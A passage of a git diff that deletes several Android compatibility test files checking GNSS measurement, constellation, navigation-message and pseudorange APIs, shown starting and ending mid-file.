- // Ensure that after getting a few (at least 2) measurement events, that we still
- // don't have location (i.e. that we got measurements before location.) Fail, if
- // strict, warn, if not.
- softAssert.assertTrue(
- "Location was received before " + events.size() +
- " GnssMeasurementEvents with measurements were reported. " +
- "Test expects at least " + EVENTS_COUNT +
- " GnssMeasurementEvents before a location, given the cold start" +
- " start. Ensure no other active GPS apps (so the cold start" +
- " command works) and retry?",
- !mLocationListener.isLocationReceived());
-
- // If device has received measurements also verify
- // that mandatory fields of GnssMeasurement are in expected ranges.
- GnssMeasurementsEvent firstEvent = events.get(0);
- Collection<GnssMeasurement> gpsMeasurements = firstEvent.getMeasurements();
- int satelliteCount = gpsMeasurements.size();
- int[] gpsPrns = new int[satelliteCount];
- int i = 0;
- for (GnssMeasurement measurement : gpsMeasurements) {
- gpsPrns[i] = measurement.getSvid();
- ++i;
- }
- Log.i(TAG, "First GnssMeasurementsEvent with PRNs=" + Arrays.toString(gpsPrns));
-
- long timeInNs = firstEvent.getClock().getTimeNanos();
- softAssert.assertTrue("GPS measurement satellite count check: ",
- timeInNs, // event time in ns
- "satelliteCount > 0", // expected value
- Integer.toString(satelliteCount), // actual value
- satelliteCount > 0); // condition
-
- TestMeasurementUtil.assertGnssClockFields(firstEvent.getClock(), softAssert, timeInNs);
-
- // Verify mandatory fields of GnssMeasurement
- for (GnssMeasurement measurement : gpsMeasurements) {
- TestMeasurementUtil.assertAllGnssMeasurementMandatoryFields(mTestLocationManager,
- measurement, softAssert, timeInNs);
- }
- softAssert.assertAll();
- } finally {
- // Set the airplane mode back to off if it was off before this test.
- if (!isCtsVerifierTest() && isAirplaneModeOffBeforeTest) {
- TestUtils.setAirplaneModeOn(getContext(), false);
- }
- }
- }
-}
diff --git a/tests/tests/location/src/android/location/cts/GnssMeasurementsConstellationTest.java b/tests/tests/location/src/android/location/cts/GnssMeasurementsConstellationTest.java
deleted file mode 100644
index 750734a..0000000
--- a/tests/tests/location/src/android/location/cts/GnssMeasurementsConstellationTest.java
+++ /dev/null
@@ -1,147 +0,0 @@
-/*
- * Copyright (C) 2016 Google Inc.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import android.location.GnssMeasurement;
-import android.location.GnssMeasurementsEvent;
-import android.location.GnssStatus;
-import android.util.Log;
-
-import java.util.List;
-
-/**
- * Test for {@link GnssMeasurement}s without location registration.
- *
- * Test steps:
- * 1. Register a listener for {@link GnssMeasurementsEvent}s and location updates.
- * 2. Check {@link GnssMeasurementsEvent} status: if the status is not
- * {@link GnssMeasurementsEvent#STATUS_READY}, the test will be skipped because one of the
- * following reasons:
- * 2.1 the device does not support the feature,
- * 2.2 GPS is disabled in the device,
- * // TODO: This is true only for cts, for verifier mode we need to modify
- * TestGnssMeasurementListener to fail the test.
- * 2.3 Location is disabled in the device.
- * 3. If no {@link GnssMeasurementsEvent} is received then test is skipped in cts mode and fails in
- * cts verifier mode.
- * 4. Check if one of the received measurements has constellation other than GPS.
- */
-public class GnssMeasurementsConstellationTest extends GnssTestCase {
-
- private static final String TAG = "GnssConsTypeTest";
- private static final int EVENTS_COUNT = 5;
- private static final int GPS_EVENTS_COUNT = 3;
- private TestLocationListener mLocationListener;
- private TestGnssMeasurementListener mMeasurementListener;
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
-
- mTestLocationManager = new TestLocationManager(getContext());
- }
-
- @Override
- protected void tearDown() throws Exception {
- // Unregister listeners
- if (mLocationListener != null) {
- mTestLocationManager.removeLocationUpdates(mLocationListener);
- }
- if (mMeasurementListener != null) {
- mTestLocationManager.unregisterGnssMeasurementCallback(mMeasurementListener);
- }
- super.tearDown();
- }
-
- /**
- * Test Gnss multi constellation supported.
- */
- public void testGnssMultiConstellationSupported() throws Exception {
- // Checks if GPS hardware feature is present, skips test (pass) if not,
- // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
- if (!TestMeasurementUtil
- .canTestRunOnCurrentDevice(mTestLocationManager, isCtsVerifierTest())) {
- return;
- }
-
- // Register for GPS measurements.
- mMeasurementListener = new TestGnssMeasurementListener(TAG, GPS_EVENTS_COUNT);
- mTestLocationManager.registerGnssMeasurementCallback(mMeasurementListener);
-
- // Register for location updates.
- mLocationListener = new TestLocationListener(EVENTS_COUNT);
- mTestLocationManager.requestLocationUpdates(mLocationListener);
-
- mMeasurementListener.await();
- if (!mMeasurementListener.verifyStatus()) {
- return;
- }
-
- List<GnssMeasurementsEvent> events = mMeasurementListener.getEvents();
- Log.i(TAG, "Number of GnssMeasurement events received = " + events.size());
-
- SoftAssert softAssert = new SoftAssert(TAG);
- softAssert.assertTrue(
- "Did not receive any GnssMeasurement events. Retry outdoors?",
- !events.isEmpty());
-
- for (GnssMeasurementsEvent event : events) {
- // Verify Gps Event mandatory fields are in required ranges
- assertNotNull("GnssMeasurementEvent cannot be null.", event);
- long timeInNs = event.getClock().getTimeNanos();
-
- softAssert.assertTrue("time_ns: clock value",
- timeInNs,
- "X >= 0",
- String.valueOf(timeInNs),
- timeInNs >= 0L);
- boolean isExpectedConstellationType = false;
- int constellationType = 0;
- for (GnssMeasurement measurement : event.getMeasurements()) {
- constellationType = measurement.getConstellationType();
-
- // Checks if constellation type is other than CONSTELLATION_GPS
- // && CONSTELLATION_UNKNOWN.
- if (constellationType != GnssStatus.CONSTELLATION_GPS
- && constellationType != GnssStatus.CONSTELLATION_UNKNOWN) {
- isExpectedConstellationType = true;
- break;
- }
- }
-
- // If test is running in CtsVerifier and multi constellation is not supported, then
- // throw MultiConstellationNotSupportedException which is used to indicate warning.
- if (isCtsVerifierTest() && !isExpectedConstellationType) {
- throw new MultiConstellationNotSupportedException(
- "\n\n WARNING: Device does not support Multi-constellation. " +
- "Device only supports GPS. " +
- "This will be mandatory starting from Android-O.\n");
- }
-
- // In cts test just log it as warning if multi constellation is not supported
- softAssert.assertTrueAsWarning(
- "Constellation type is other than CONSTELLATION_GPS",
- timeInNs,
- "ConstellationType != CONSTELLATION_GPS " +
- "&& constellationType != GnssStatus.CONSTELLATION_UNKNOWN",
- String.valueOf(constellationType),
- isExpectedConstellationType);
-
- }
- softAssert.assertAll();
- }
-}
diff --git a/tests/tests/location/src/android/location/cts/GnssMeasurementsEventCallbackTest.java b/tests/tests/location/src/android/location/cts/GnssMeasurementsEventCallbackTest.java
deleted file mode 100644
index b670efb..0000000
--- a/tests/tests/location/src/android/location/cts/GnssMeasurementsEventCallbackTest.java
+++ /dev/null
@@ -1,37 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import android.location.GnssClock;
-import android.location.GnssMeasurement;
-import android.location.GnssMeasurementsEvent;
-
-public class GnssMeasurementsEventCallbackTest extends GnssTestCase {
- private static class MockCallback extends GnssMeasurementsEvent.Callback {
- }
-
- public void testAllMethodsExist() {
- GnssMeasurementsEvent.Callback callback = new MockCallback();
- GnssClock clock = new GnssClock();
- GnssMeasurement m1 = new GnssMeasurement();
- GnssMeasurement m2 = new GnssMeasurement();
- GnssMeasurementsEvent event = new GnssMeasurementsEvent(
- clock, new GnssMeasurement[] {m1, m2});
- callback.onGnssMeasurementsReceived(event);
- callback.onStatusChanged(GnssMeasurementsEvent.Callback.STATUS_READY);
- }
-}
diff --git a/tests/tests/location/src/android/location/cts/GnssMeasurementsEventTest.java b/tests/tests/location/src/android/location/cts/GnssMeasurementsEventTest.java
deleted file mode 100644
index 06f4e5f..0000000
--- a/tests/tests/location/src/android/location/cts/GnssMeasurementsEventTest.java
+++ /dev/null
@@ -1,60 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import android.location.GnssClock;
-import android.location.GnssMeasurement;
-import android.location.GnssMeasurementsEvent;
-import android.location.GnssStatus;
-import android.os.Parcel;
-
-import java.util.Collection;
-import java.util.Iterator;
-
-public class GnssMeasurementsEventTest extends GnssTestCase {
- public void testDescribeContents() {
- GnssClock clock = new GnssClock();
- GnssMeasurement m1 = new GnssMeasurement();
- GnssMeasurement m2 = new GnssMeasurement();
- GnssMeasurementsEvent event = new GnssMeasurementsEvent(
- clock, new GnssMeasurement[] {m1, m2});
- event.describeContents();
- }
-
- public void testWriteToParcel() {
- GnssClock clock = new GnssClock();
- clock.setLeapSecond(100);
- GnssMeasurement m1 = new GnssMeasurement();
- m1.setConstellationType(GnssStatus.CONSTELLATION_GLONASS);
- GnssMeasurement m2 = new GnssMeasurement();
- m2.setReceivedSvTimeNanos(43999);
- GnssMeasurementsEvent event = new GnssMeasurementsEvent(
- clock, new GnssMeasurement[] {m1, m2});
- Parcel parcel = Parcel.obtain();
- event.writeToParcel(parcel, 0);
- parcel.setDataPosition(0);
- GnssMeasurementsEvent newEvent = GnssMeasurementsEvent.CREATOR.createFromParcel(parcel);
- assertEquals(100, newEvent.getClock().getLeapSecond());
- Collection<GnssMeasurement> measurements = newEvent.getMeasurements();
- assertEquals(2, measurements.size());
- Iterator<GnssMeasurement> iterator = measurements.iterator();
- GnssMeasurement newM1 = iterator.next();
- assertEquals(GnssStatus.CONSTELLATION_GLONASS, newM1.getConstellationType());
- GnssMeasurement newM2 = iterator.next();
- assertEquals(43999, newM2.getReceivedSvTimeNanos());
- }
-}
diff --git a/tests/tests/location/src/android/location/cts/GnssNavigationMessageCallbackTest.java b/tests/tests/location/src/android/location/cts/GnssNavigationMessageCallbackTest.java
deleted file mode 100644
index 842561d..0000000
--- a/tests/tests/location/src/android/location/cts/GnssNavigationMessageCallbackTest.java
+++ /dev/null
@@ -1,32 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import android.location.GnssNavigationMessage;
-
-public class GnssNavigationMessageCallbackTest extends GnssTestCase {
- private static class MockCallback extends GnssNavigationMessage.Callback {
- }
-
- public void testAllMethodsExist() {
- GnssNavigationMessage.Callback callback = new MockCallback();
- GnssNavigationMessage message = new GnssNavigationMessage();
- GnssNavigationMessage event = message;
- callback.onGnssNavigationMessageReceived(event);
- callback.onStatusChanged(GnssNavigationMessage.Callback.STATUS_READY);
- }
-}
diff --git a/tests/tests/location/src/android/location/cts/GnssNavigationMessageRegistrationTest.java b/tests/tests/location/src/android/location/cts/GnssNavigationMessageRegistrationTest.java
deleted file mode 100644
index b849c47..0000000
--- a/tests/tests/location/src/android/location/cts/GnssNavigationMessageRegistrationTest.java
+++ /dev/null
@@ -1,140 +0,0 @@
-/*
- * Copyright (C) 2015 Google Inc.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import android.location.GnssNavigationMessage;
-import android.util.Log;
-
-import java.util.List;
-
-/**
- * Test the {@link GnssNavigationMessage} without location registration.
- *
- * Test steps:
- * 1. Register for {@link GnssNavigationMessage}s.
- * 2. Wait for {@link #EVENTS_COUNT} events to arrive.
- * 3. Check {@link GnssNavigationMessage} status: if the status is not
- * {@link GnssNavigationMessage#Callback#STATUS_READY}, the test will be skipped because one of the
- * following reasons:
- * 3.1 the device does not support the feature,
- * 3.2 GPS is disabled in the device,
- * 3.3 Location is disabled in the device.
- * 4. If at least one {@link GnssNavigationMessage} is received, the test will pass.
- * 5. If no {@link GnssNavigationMessage}s are received, then check whether the device is
- * deep indoor. This is done by performing the following steps:
- * 2.1 Register for location updates, and {@link GpsStatus} events.
- * 2.2 Wait for {@link TestGpsStatusListener#TIMEOUT_IN_SEC}.
- * 2.3 If no {@link GpsStatus} is received this will mean that the device is located
- * indoor. Test will be skipped.
- * 2.4 If we receive a {@link GpsStatus}, it mean that {@link GnssNavigationMessage}s
- * are provided only if the application registers for location updates as well:
- * 2.4.1 The test will pass with a warning for the M release.
- * 2.4.2 The test might fail in a future Android release, when this requirement
- * becomes mandatory.
- */
-public class GnssNavigationMessageRegistrationTest extends GnssTestCase {
-
- private static final String TAG = "GpsNavMsgRegTest";
- private static final int EVENTS_COUNT = 5;
- private TestGnssNavigationMessageListener mTestGnssNavigationMessageListener;
- private TestLocationListener mLocationListener;
- private TestGnssStatusCallback mGnssStatusCallback;
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- mTestLocationManager = new TestLocationManager(getContext());
- }
-
- @Override
- protected void tearDown() throws Exception {
- // Unregister GnssNavigationMessageListener
- if (mTestGnssNavigationMessageListener != null) {
- mTestLocationManager
- .unregisterGnssNavigationMessageCallback(mTestGnssNavigationMessageListener);
- mTestGnssNavigationMessageListener = null;
- }
- if (mLocationListener != null) {
- mTestLocationManager.removeLocationUpdates(mLocationListener);
- }
- if (mGnssStatusCallback != null) {
- mTestLocationManager.unregisterGnssStatusCallback(mGnssStatusCallback);
- }
- super.tearDown();
- }
-
- /**
- * Tests that one can listen for {@link GnssNavigationMessage}s for collection purposes.
- * It only performs sanity checks for the Navigation messages received.
- */
- public void testGnssNavigationMessageRegistration() throws Exception {
- // Checks if GPS hardware feature is present, skips test (pass) if not,
- // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
- if (!TestMeasurementUtil
- .canTestRunOnCurrentDevice(mTestLocationManager, isCtsVerifierTest())) {
- return;
- }
-
- // Register Gps Navigation Message Listener.
- mTestGnssNavigationMessageListener =
- new TestGnssNavigationMessageListener(TAG, EVENTS_COUNT);
- mTestLocationManager.registerGnssNavigationMessageCallback(mTestGnssNavigationMessageListener);
-
- mTestGnssNavigationMessageListener.await();
- if (!mTestGnssNavigationMessageListener.verifyState()) {
- return;
- }
-
- List<GnssNavigationMessage> events = mTestGnssNavigationMessageListener.getEvents();
- if (!events.isEmpty()) {
- // Verify mandatory GnssNavigationMessage field values.
- TestMeasurementUtil.verifyGnssNavMessageMandatoryField(mTestLocationManager, events);
- // Test passes if we get at least 1 GPS Navigation Message event.
- Log.i(TAG, "Received GPS Navigation Message. Test Pass.");
- return;
- }
-
- // If no {@link GnssNavigationMessage}s are received, then check whether the device is
- // deep indoor.
- Log.i(TAG, "Did not receive any GPS Navigation Message. Test if device is deep indoor.");
-
- // Register for location updates.
- mLocationListener = new TestLocationListener(EVENTS_COUNT);
- mTestLocationManager.requestLocationUpdates(mLocationListener);
-
- // Wait for location updates
- mLocationListener.await();
- Log.i(TAG, "Location received = " + mLocationListener.isLocationReceived());
-
- // Register for Gps Status updates
- mGnssStatusCallback = new TestGnssStatusCallback(TAG, EVENTS_COUNT);
- mTestLocationManager.registerGnssStatusCallback(mGnssStatusCallback);
-
- // Wait for Gps Status updates
- mGnssStatusCallback.awaitStatus();
- if (mGnssStatusCallback.getGnssStatus() == null) {
- // Skip the Test. No Satellites are visible. Device may be Indoor
- Log.i(TAG, "No Satellites are visible. Device may be Indoor. Skipping Test.");
- return;
- }
-
- SoftAssert.failAsWarning(
- TAG,
- "GPS Navigation Messages were not received without registering for location" +
- " updates.");
- }
-}
diff --git a/tests/tests/location/src/android/location/cts/GnssNavigationMessageTest.java b/tests/tests/location/src/android/location/cts/GnssNavigationMessageTest.java
deleted file mode 100644
index e1fb0f8..0000000
--- a/tests/tests/location/src/android/location/cts/GnssNavigationMessageTest.java
+++ /dev/null
@@ -1,160 +0,0 @@
-/*
- * Copyright (C) 2015 Google Inc.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import android.location.GnssNavigationMessage;
-import android.os.Parcel;
-
-import java.util.List;
-
-/**
- * Test the {@link GnssNavigationMessage} values.
- *
- * Test steps:
- * 1. Register for {@link GnssNavigationMessage}s.
- * 2. Wait for {@link #EVENTS_COUNT} events to arrive.
- * 3. Check {@link GnssNavigationMessage} status: if the status is not
- * {@link GnssNavigationMessage.Callback#STATUS_READY}, the test will be skipped because one of
- * the following reasons:
- * 3.1 the device does not support the feature,
- * 3.2 GPS is disabled in the device,
- * 3.3 Location is disabled in the device.
- * 4. Verify {@link GnssNavigationMessage}s (all mandatory fields), the test will fail if any of the
- * mandatory fields is not populated or in the expected range.
- */
-public class GnssNavigationMessageTest extends GnssTestCase {
-
- private static final String TAG = "GpsNavMsgTest";
- private static final int EVENTS_COUNT = 5;
- private TestGnssNavigationMessageListener mTestGnssNavigationMessageListener;
- private TestLocationListener mLocationListener;
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- mTestLocationManager = new TestLocationManager(getContext());
- }
-
- @Override
- protected void tearDown() throws Exception {
- // Unregister listeners
- if (mLocationListener != null) {
- mTestLocationManager.removeLocationUpdates(mLocationListener);
- }
- // Unregister GnssNavigationMessageListener
- if (mTestGnssNavigationMessageListener != null) {
- mTestLocationManager
- .unregisterGnssNavigationMessageCallback(mTestGnssNavigationMessageListener);
- mTestGnssNavigationMessageListener = null;
- }
- super.tearDown();
- }
-
- /**
- * Tests that one can listen for {@link GnssNavigationMessage}s for collection purposes.
- * It only performs sanity checks for the Navigation messages received.
- * This tests uses actual data retrieved from GPS HAL.
- */
- public void testGnssNavigationMessageMandatoryFieldRanges() throws Exception {
- // Checks if GPS hardware feature is present, skips test (pass) if not,
- // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
- if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager,
- isCtsVerifierTest())) {
- return;
- }
-
- mLocationListener = new TestLocationListener(EVENTS_COUNT);
- mTestLocationManager.requestLocationUpdates(mLocationListener);
-
- // Register Gps Navigation Message Listener.
- mTestGnssNavigationMessageListener =
- new TestGnssNavigationMessageListener(TAG, EVENTS_COUNT);
- mTestLocationManager
- .registerGnssNavigationMessageCallback(mTestGnssNavigationMessageListener);
-
- boolean success = mTestGnssNavigationMessageListener.await();
-
- if (!mTestGnssNavigationMessageListener.verifyState()) {
- return;
- }
- SoftAssert softAssert = new SoftAssert(TAG);
- softAssert.assertTrue(
- "Time elapsed without getting enough navigation messages."
- + " Possibly, the test has been run deep indoors."
- + " Consider retrying test outdoors.",
- success);
-
- List<GnssNavigationMessage> events = mTestGnssNavigationMessageListener.getEvents();
-
- // Verify mandatory GnssNavigationMessage field values.
- TestMeasurementUtil.verifyGnssNavMessageMandatoryField(mTestLocationManager, events);
- softAssert.assertAll();
- }
-
- private static void setTestValues(GnssNavigationMessage message) {
- message.setData(new byte[] {1, 2, 3, 4});
- message.setMessageId(5);
- message.setStatus(GnssNavigationMessage.STATUS_PARITY_REBUILT);
- message.setSubmessageId(6);
- message.setSvid(7);
- message.setType(GnssNavigationMessage.TYPE_GPS_L2CNAV);
- }
-
- private static void verifyTestValues(GnssNavigationMessage message) {
- byte[] data = message.getData();
- assertEquals(4, data.length);
- assertEquals(1, data[0]);
- assertEquals(2, data[1]);
- assertEquals(3, data[2]);
- assertEquals(4, data[3]);
- assertEquals(5, message.getMessageId());
- assertEquals(GnssNavigationMessage.STATUS_PARITY_REBUILT, message.getStatus());
- assertEquals(6, message.getSubmessageId());
- assertEquals(7, message.getSvid());
- assertEquals(GnssNavigationMessage.TYPE_GPS_L2CNAV, message.getType());
- }
-
- public void testDescribeContents() {
- GnssNavigationMessage message = new GnssNavigationMessage();
- message.describeContents();
- }
-
- public void testWriteToParcel() {
- GnssNavigationMessage message = new GnssNavigationMessage();
- setTestValues(message);
- Parcel parcel = Parcel.obtain();
- message.writeToParcel(parcel, 0);
- parcel.setDataPosition(0);
- GnssNavigationMessage newMessage =
- GnssNavigationMessage.CREATOR.createFromParcel(parcel);
- verifyTestValues(newMessage);
- parcel.recycle();
- }
-
- public void testReset() {
- GnssNavigationMessage message = new GnssNavigationMessage();
- message.reset();
- }
-
- public void testSet() {
- GnssNavigationMessage message = new GnssNavigationMessage();
- setTestValues(message);
- GnssNavigationMessage newMessage = new GnssNavigationMessage();
- newMessage.set(message);
- verifyTestValues(newMessage);
- }
-}
diff --git a/tests/tests/location/src/android/location/cts/GnssPseudorangeVerificationTest.java b/tests/tests/location/src/android/location/cts/GnssPseudorangeVerificationTest.java
deleted file mode 100644
index 0e6843d..0000000
--- a/tests/tests/location/src/android/location/cts/GnssPseudorangeVerificationTest.java
+++ /dev/null
@@ -1,403 +0,0 @@
-/*
- * Copyright (C) 2017 Google Inc.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import android.location.cts.pseudorange.PseudorangePositionVelocityFromRealTimeEvents;
-import android.location.GnssMeasurement;
-import android.location.GnssMeasurementsEvent;
-import android.location.GnssStatus;
-import android.location.Location;
-import android.platform.test.annotations.AppModeFull;
-import android.util.Log;
-import com.android.compatibility.common.util.CddTest;
-import java.util.ArrayList;
-import java.util.Collection;
-import java.util.List;
-import java.util.concurrent.TimeUnit;
-import java.util.HashMap;
-
-/**
- * Test computing and verifying the pseudoranges based on the raw measurements
- * reported by the GNSS chipset
- */
-public class GnssPseudorangeVerificationTest extends GnssTestCase {
- private static final String TAG = "GnssPseudorangeValTest";
- private static final int LOCATION_TO_COLLECT_COUNT = 5;
- private static final int MEASUREMENT_EVENTS_TO_COLLECT_COUNT = 10;
- private static final int MIN_SATELLITES_REQUIREMENT = 4;
- private static final double SECONDS_PER_NANO = 1.0e-9;
-
- // GPS/GLONASS: according to http://cdn.intechopen.com/pdfs-wm/27712.pdf, the pseudorange in
- // time
- // is 65-83 ms, which is 18 ms range.
- // GLONASS: orbit is a bit closer than GPS, so we add 0.003ms to the range, hence deltaiSeconds
- // should be in the range of [0.0, 0.021] seconds.
- // QZSS and BEIDOU: they have higher orbit, which will result in a small svTime, the deltai
- // can be
- // calculated as follows:
- // assume a = QZSS/BEIDOU orbit Semi-Major Axis(42,164km for QZSS);
- // b = GLONASS orbit Semi-Major Axis (25,508km);
- // c = Speed of light (299,792km/s);
- // e = earth radius (6,378km);
- // in the extremely case of QZSS is on the horizon and GLONASS is on the 90 degree top
- // max difference should be (sqrt(a^2-e^2) - (b-e))/c,
- // which is around 0.076s.
- // 2 Galileo satellites (E14 & E18) have elliptical orbits, so Galileo can have up-to 48ms of
- // spread.
- private static final double PSEUDORANGE_THRESHOLD_IN_SEC = 0.048;
- // Geosync constellations have a longer range vs typical MEO orbits
- // that are the short end of the range.
- private static final double PSEUDORANGE_THRESHOLD_BEIDOU_QZSS_IN_SEC = 0.076;
-
- private static final float LOW_ENOUGH_POSITION_UNCERTAINTY_METERS = 100;
- private static final float LOW_ENOUGH_VELOCITY_UNCERTAINTY_MPS = 5;
- private static final float HORIZONTAL_OFFSET_FLOOR_METERS = 10;
- private static final float HORIZONTAL_OFFSET_SIGMA = 3; // 3 * the ~68%ile level
- private static final float HORIZONTAL_OFFSET_FLOOR_MPS = 1;
-
- private TestGnssMeasurementListener mMeasurementListener;
- private TestLocationListener mLocationListener;
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
-
- mTestLocationManager = new TestLocationManager(getContext());
- }
-
- @Override
- protected void tearDown() throws Exception {
- // Unregister listeners
- if (mLocationListener != null) {
- mTestLocationManager.removeLocationUpdates(mLocationListener);
- }
- if (mMeasurementListener != null) {
- mTestLocationManager.unregisterGnssMeasurementCallback(mMeasurementListener);
- }
- super.tearDown();
- }
-
- /**
- * Tests that one can listen for {@link GnssMeasurementsEvent} for collection purposes.
- * It only performs sanity checks for the measurements received.
- * This tests uses actual data retrieved from Gnss HAL.
- */
- @CddTest(requirement="7.3.3")
- public void testPseudorangeValue() throws Exception {
- // Checks if Gnss hardware feature is present, skips test (pass) if not,
- // and hard asserts that Location/Gnss (Provider) is turned on if is Cts Verifier.
- // From android O, CTS tests should run in the lab with GPS signal.
- if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, true)) {
- return;
- }
-
- mLocationListener = new TestLocationListener(LOCATION_TO_COLLECT_COUNT);
- mTestLocationManager.requestLocationUpdates(mLocationListener);
-
- mMeasurementListener = new TestGnssMeasurementListener(TAG,
- MEASUREMENT_EVENTS_TO_COLLECT_COUNT, true);
- mTestLocationManager.registerGnssMeasurementCallback(mMeasurementListener);
-
- boolean success = mLocationListener.await();
- success &= mMeasurementListener.await();
- SoftAssert softAssert = new SoftAssert(TAG);
- softAssert.assertTrue(
- "Time elapsed without getting enough location fixes."
- + " Possibly, the test has been run deep indoors."
- + " Consider retrying test outdoors.",
- success);
-
- Log.i(TAG, "Location status received = " + mLocationListener.isLocationReceived());
-
- if (!mMeasurementListener.verifyStatus()) {
- // If verifyStatus returns false, an assert exception happens and test fails.
- return; // exit (with pass)
- }
-
- List<GnssMeasurementsEvent> events = mMeasurementListener.getEvents();
- int eventCount = events.size();
- Log.i(TAG, "Number of GNSS measurement events received = " + eventCount);
- softAssert.assertTrue(
- "GnssMeasurementEvent count: expected > 0, received = " + eventCount,
- eventCount > 0);
-
- boolean hasEventWithEnoughMeasurements = false;
- // we received events, so perform a quick sanity check on mandatory fields
- for (GnssMeasurementsEvent event : events) {
- // Verify Gnss Event mandatory fields are in required ranges
- assertNotNull("GnssMeasurementEvent cannot be null.", event);
-
- long timeInNs = event.getClock().getTimeNanos();
- TestMeasurementUtil.assertGnssClockFields(event.getClock(), softAssert, timeInNs);
-
- ArrayList<GnssMeasurement> filteredMeasurements = filterMeasurements(event.getMeasurements());
- HashMap<Integer, ArrayList<GnssMeasurement>> measurementConstellationMap =
- groupByConstellation(filteredMeasurements);
- for (ArrayList<GnssMeasurement> measurements : measurementConstellationMap.values()) {
- validatePseudorange(measurements, softAssert, timeInNs);
- }
-
- // we need at least 4 satellites to calculate the pseudorange
- if(event.getMeasurements().size() >= MIN_SATELLITES_REQUIREMENT) {
- hasEventWithEnoughMeasurements = true;
- }
- }
-
- softAssert.assertTrue(
- "Should have at least one GnssMeasurementEvent with at least 4"
- + "GnssMeasurement. If failed, retry near window or outdoors?",
- hasEventWithEnoughMeasurements);
-
- softAssert.assertAll();
- }
-
- private HashMap<Integer, ArrayList<GnssMeasurement>> groupByConstellation(
- Collection<GnssMeasurement> measurements) {
- HashMap<Integer, ArrayList<GnssMeasurement>> measurementConstellationMap = new HashMap<>();
- for (GnssMeasurement measurement: measurements){
- int constellationType = measurement.getConstellationType();
- if (!measurementConstellationMap.containsKey(constellationType)) {
- measurementConstellationMap.put(constellationType, new ArrayList<>());
- }
- measurementConstellationMap.get(constellationType).add(measurement);
- }
- return measurementConstellationMap;
- }
-
- private static ArrayList<GnssMeasurement> filterMeasurements(
- Collection<GnssMeasurement> measurements) {
- ArrayList<GnssMeasurement> filteredMeasurement = new ArrayList<>();
- for (GnssMeasurement measurement : measurements) {
- int constellationType = measurement.getConstellationType();
- if ((measurement.getState() & GnssMeasurement.STATE_CODE_LOCK) == 0) {
- continue;
- }
- if (constellationType == GnssStatus.CONSTELLATION_GLONASS) {
- if ((measurement.getState()
- & (GnssMeasurement.STATE_GLO_TOD_DECODED
- | GnssMeasurement.STATE_GLO_TOD_KNOWN)) != 0) {
- filteredMeasurement.add(measurement);
- }
- } else if ((measurement.getState() & (GnssMeasurement.STATE_TOW_DECODED
- | GnssMeasurement.STATE_TOW_KNOWN)) != 0) {
- filteredMeasurement.add(measurement);
- }
- }
- return filteredMeasurement;
- }
-
- /**
- * Uses the common reception time approach to calculate pseudorange time
- * measurements reported by the receiver according to http://cdn.intechopen.com/pdfs-wm/27712.pdf.
- */
